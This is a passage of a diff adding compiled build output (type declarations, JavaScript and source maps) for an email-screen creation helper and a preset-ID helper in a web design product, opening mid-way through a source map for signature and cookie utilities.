JD,KAAKE,OAAO,KAAK,YACbJ,qBAAqBE,QACrBL,cAAcK;IACpB,IAAIC,YAAY,MAAM,OAAO;IAC7B,MAAME,WAAWrF,WAAW,UAAUkF,KAAKI,MAAM,EAC9CC,MAAM,CAACJ,SACPK,MAAM,CAAC;IACV,OACEH,SAASI,MAAM,KAAKP,KAAKR,SAAS,CAACe,MAAM,IACzCxF,gBACE,IAAIyF,WAAWC,OAAOC,IAAI,CAACP,YAC3B,IAAIK,WAAWC,OAAOC,IAAI,CAACV,KAAKR,SAAS;AAG/C;AAGA;;;;;;;CAOC,GACD,OAAO,SAASmB,YAAYf,MAA6B;IACvD,OACE,CAAC,OAAO,EAAEgB,mBAAmBhB,OAAO3C,MAAM,GAAG,GAC7C,CAAC,OAAO,EAAE2D,mBAAmBhB,OAAO3E,KAAK,GAAG,GAC5C,CAAC,KAAK,EAAE2F,mBAAmBhB,OAAOJ,SAAS,GAAG,GAC7CI,CAAAA,OAAOH,UAAU,GAAG,CAAC,KAAK,EAAEmB,mBAAmBhB,OAAOH,UAAU,GAAG,GAAG,EAAC,IACvEG,CAAAA,OAAOF,OAAO,GAAG,CAAC,KAAK,EAAEkB,mBAAmBhB,OAAOF,OAAO,GAAG,GAAG,EAAC;AAEtE;AAEA;;;;;;;;CAQC,GACD,OAAO,SAASmB,iBAAiBxE,KAAa;IAC5C,OACE,CAAC,CAACA,SACFA,MAAMkE,MAAM,IAAI,QAChB,CAAClE,MAAMwD,QAAQ,CAAC,QAChBxD,UAAU,OACVA,UAAU,QACV,CAAC,WAAWI,IAAI,CAACJ;AAErB"}
@@ -0,0 +1,59 @@
1
+ /**
2
+ * @license
3
+ * Copyright 2026 Aglyn LLC
4
+ *
5
+ * Licensed under the Apache License, Version 2.0 (the "License");
6
+ * you may not use this file except in compliance with the License.
7
+ * You may obtain a copy of the License at
8
+ *
9
+ * http://www.apache.org/licenses/LICENSE-2.0
10
+ *
11
+ * Unless required by applicable law or agreed to in writing, software
12
+ * distributed under the License is distributed on an "AS IS" BASIS,
13
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
14
+ * See the License for the specific language governing permissions and
15
+ * limitations under the License.
16
+ */
17
+ /**
18
+ * Creates the quota-governed screen doc — the caller passes
19
+ * `useHostResourceApi()` so the create rides the console API that enforces
20
+ * screensPerHost server-side (AGL-473). Kept as a parameter (not a hook)
21
+ * so this helper stays a plain async function usable outside React.
22
+ */
23
+ export type CreateScreenResource = (options: {
24
+ hostId: string;
25
+ resource: 'screen';
26
+ id: string;
27
+ data: Record<string, unknown>;
28
+ }) => Promise<{
29
+ id: string;
30
+ }>;
31
+ /**
32
+ * Creates the screen's first version — the caller passes
33
+ * `useHostVersionApi()` so the create rides /api/hosts/versions (AGL-1369),
34
+ * which the rules now make the only path. A parameter for the same reason
35
+ * `CreateScreenResource` is one: this helper is not a hook.
36
+ */
37
+ export type CreateScreenVersion = (options: {
38
+ hostId: string;
39
+ kind: 'screen';
40
+ parentId: string;
41
+ id: string;
42
+ data: Record<string, unknown>;
43
+ }) => Promise<{
44
+ id: string;
45
+ }>;
46
+ /**
47
+ * Creates a besigner email document (AGL-347/349): a screen with kind
48
+ * 'email' plus a first version seeded with an email section + a greeting
49
+ * text block. Shared by the campaigns composer and the email-screens list
50
+ * so both scaffold identical documents, and built by `emailDesignDocuments`,
51
+ * which the server's draft writer builds from too. The screen doc goes
52
+ * through the quota-enforcing resources API (AGL-473) and the first version
53
+ * through /api/hosts/versions (AGL-1369), which allows a resource's FIRST
54
+ * version on every plan. Returns the ids for navigation.
55
+ */
56
+ export declare function createEmailScreen(hostId: string, createScreen: CreateScreenResource, createVersion: CreateScreenVersion, displayName?: string): Promise<{
57
+ screenId: string;
58
+ versionId: string;
59
+ }>;
@@ -0,0 +1,59 @@
1
+ import { _ as _extends } from "@swc/helpers/_/_extends";
2
+ /**
3
+ * @license
4
+ * Copyright 2026 Aglyn LLC
5
+ *
6
+ * Licensed under the Apache License, Version 2.0 (the "License");
7
+ * you may not use this file except in compliance with the License.
8
+ * You may obtain a copy of the License at
9
+ *
10
+ * http://www.apache.org/licenses/LICENSE-2.0
11
+ *
12
+ * Unless required by applicable law or agreed to in writing, software
13
+ * distributed under the License is distributed on an "AS IS" BASIS,
14
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
15
+ * See the License for the specific language governing permissions and
16
+ * limitations under the License.
17
+ */ import { createResourceUid } from "@aglyn/aglyn";
18
+ import { emailDesignDocuments, emailDesignStarterNodes } from "../model/email-design-document.js";
19
+ /**
20
+ * Creates a besigner email document (AGL-347/349): a screen with kind
21
+ * 'email' plus a first version seeded with an email section + a greeting
22
+ * text block. Shared by the campaigns composer and the email-screens list
23
+ * so both scaffold identical documents, and built by `emailDesignDocuments`,
24
+ * which the server's draft writer builds from too. The screen doc goes
25
+ * through the quota-enforcing resources API (AGL-473) and the first version
26
+ * through /api/hosts/versions (AGL-1369), which allows a resource's FIRST
27
+ * version on every plan. Returns the ids for navigation.
28
+ */ export async function createEmailScreen(hostId, createScreen, createVersion, displayName = 'Untitled email') {
29
+ const screenId = createResourceUid();
30
+ const versionId = createResourceUid();
31
+ const { screen, version } = emailDesignDocuments({
32
+ screenId,
33
+ versionId,
34
+ displayName,
35
+ nodes: emailDesignStarterNodes({
36
+ sectionId: createResourceUid(),
37
+ textId: createResourceUid()
38
+ })
39
+ });
40
+ await createScreen({
41
+ hostId,
42
+ resource: 'screen',
43
+ id: screenId,
44
+ data: _extends({}, screen)
45
+ });
46
+ await createVersion({
47
+ hostId,
48
+ kind: 'screen',
49
+ parentId: screenId,
50
+ id: versionId,
51
+ data: _extends({}, version)
52
+ });
53
+ return {
54
+ screenId,
55
+ versionId
56
+ };
57
+ }
58
+
59
+ //# sourceMappingURL=create-email-screen.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"sources":["../../../../../../../libs/plugins/email/src/lib/utils/create-email-screen.ts"],"sourcesContent":["/**\n * @license\n * Copyright 2026 Aglyn LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nimport { createResourceUid } from '@aglyn/aglyn'\nimport {\n emailDesignDocuments,\n emailDesignStarterNodes,\n} from '../model/email-design-document'\n\n/**\n * Creates the quota-governed screen doc — the caller passes\n * `useHostResourceApi()` so the create rides the console API that enforces\n * screensPerHost server-side (AGL-473). Kept as a parameter (not a hook)\n * so this helper stays a plain async function usable outside React.\n */\nexport type CreateScreenResource = (options: {\n hostId: string\n resource: 'screen'\n id: string\n data: Record<string, unknown>\n}) => Promise<{ id: string }>\n\n/**\n * Creates the screen's first version — the caller passes\n * `useHostVersionApi()` so the create rides /api/hosts/versions (AGL-1369),\n * which the rules now make the only path. A parameter for the same reason\n * `CreateScreenResource` is one: this helper is not a hook.\n */\nexport type CreateScreenVersion = (options: {\n hostId: string\n kind: 'screen'\n parentId: string\n id: string\n data: Record<string, unknown>\n}) => Promise<{ id: string }>\n\n/**\n * Creates a besigner email document (AGL-347/349): a screen with kind\n * 'email' plus a first version seeded with an email section + a greeting\n * text block. Shared by the campaigns composer and the email-screens list\n * so both scaffold identical documents, and built by `emailDesignDocuments`,\n * which the server's draft writer builds from too. The screen doc goes\n * through the quota-enforcing resources API (AGL-473) and the first version\n * through /api/hosts/versions (AGL-1369), which allows a resource's FIRST\n * version on every plan. Returns the ids for navigation.\n */\nexport async function createEmailScreen(\n hostId: string,\n createScreen: CreateScreenResource,\n createVersion: CreateScreenVersion,\n displayName = 'Untitled email',\n): Promise<{ screenId: string; versionId: string }> {\n const screenId = createResourceUid()\n const versionId = createResourceUid()\n const { screen, version } = emailDesignDocuments({\n screenId,\n versionId,\n displayName,\n nodes: emailDesignStarterNodes({\n sectionId: createResourceUid(),\n textId: createResourceUid(),\n }),\n })\n await createScreen({\n hostId,\n resource: 'screen',\n id: screenId,\n data: { ...screen },\n })\n await createVersion({\n hostId,\n kind: 'screen',\n parentId: screenId,\n id: versionId,\n data: { ...version },\n })\n return { screenId, versionId }\n}\n"],"names":["createResourceUid","emailDesignDocuments","emailDesignStarterNodes","createEmailScreen","hostId","createScreen","createVersion","displayName","screenId","versionId","screen","version","nodes","sectionId","textId","resource","id","data","kind","parentId"],"mappings":";AAAA;;;;;;;;;;;;;;;CAeC,GAED,SAASA,iBAAiB,QAAQ,eAAc;AAChD,SACEC,oBAAoB,EACpBC,uBAAuB,QAClB,oCAAgC;AA6BvC;;;;;;;;;CASC,GACD,OAAO,eAAeC,kBACpBC,MAAc,EACdC,YAAkC,EAClCC,aAAkC,EAClCC,cAAc,gBAAgB;IAE9B,MAAMC,WAAWR;IACjB,MAAMS,YAAYT;IAClB,MAAM,EAAEU,MAAM,EAAEC,OAAO,EAAE,GAAGV,qBAAqB;QAC/CO;QACAC;QACAF;QACAK,OAAOV,wBAAwB;YAC7BW,WAAWb;YACXc,QAAQd;QACV;IACF;IACA,MAAMK,aAAa;QACjBD;QACAW,UAAU;QACVC,IAAIR;QACJS,MAAM,aAAKP;IACb;IACA,MAAMJ,cAAc;QAClBF;QACAc,MAAM;QACNC,UAAUX;QACVQ,IAAIP;QACJQ,MAAM,aAAKN;IACb;IACA,OAAO;QAAEH;QAAUC;IAAU;AAC/B"}
@@ -0,0 +1,19 @@
1
+ /**
2
+ * @license
3
+ * Copyright 2026 Aglyn LLC
4
+ *
5
+ * Licensed under the Apache License, Version 2.0 (the "License");
6
+ * you may not use this file except in compliance with the License.
7
+ * You may obtain a copy of the License at
8
+ *
9
+ * http://www.apache.org/licenses/LICENSE-2.0
10
+ *
11
+ * Unless required by applicable law or agreed to in writing, software
12
+ * distributed under the License is distributed on an "AS IS" BASIS,
13
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
14
+ * See the License for the specific language governing permissions and
15
+ * limitations under the License.
16
+ */
17
+ import type { ComponentId } from '@aglyn/aglyn';
18
+ export declare const generatePresetId: (componentId: ComponentId, ...other: string[]) => ComponentId;
19
+ export default generatePresetId;